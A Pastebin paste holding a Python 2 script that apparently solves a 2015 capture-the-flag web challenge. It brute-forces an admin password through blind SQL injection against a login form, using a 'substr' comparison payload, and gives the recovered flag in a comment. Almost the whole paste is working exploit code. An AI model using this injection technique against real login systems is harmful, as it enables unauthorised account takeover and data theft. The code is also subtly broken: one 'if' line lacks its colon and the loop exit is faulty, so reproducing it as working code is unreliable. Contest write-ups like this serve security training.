phieulang1993

web30_login_as_admin

Sep 7th, 2015
427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.63 KB | None | 0 0
  1. import urllib2, urllib
  2. def request(url,data,cookie):
  3.     headers = {"Cookie": cookie}
  4.     req = urllib2.Request(url, data, headers)
  5.     response = urllib2.urlopen(req).read()
  6.     return response
  7. url = "http://arrive.chal.mmactf.link/login.cgi"
  8. cookie = "session=XXX"
  9. flag = "MMA{"
  10.  
  11. data = "username=admin' and substr(password,1,%d)='%s'-- -&password=XXX"
  12. charsets = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789_@#$%^&*!"
  13. while 1:
  14.     for c in charsets:
  15.         res = request(url,data%(len(flag)+1,flag+c),cookie)
  16.         if "Congratulations" in res:
  17.             flag+=c
  18.             print flag
  19.             if c == "}"
  20.             break
  21. print flag
  22. # MMA{cats_alice_band}
Advertisement
Add Comment
Please, Sign In to add comment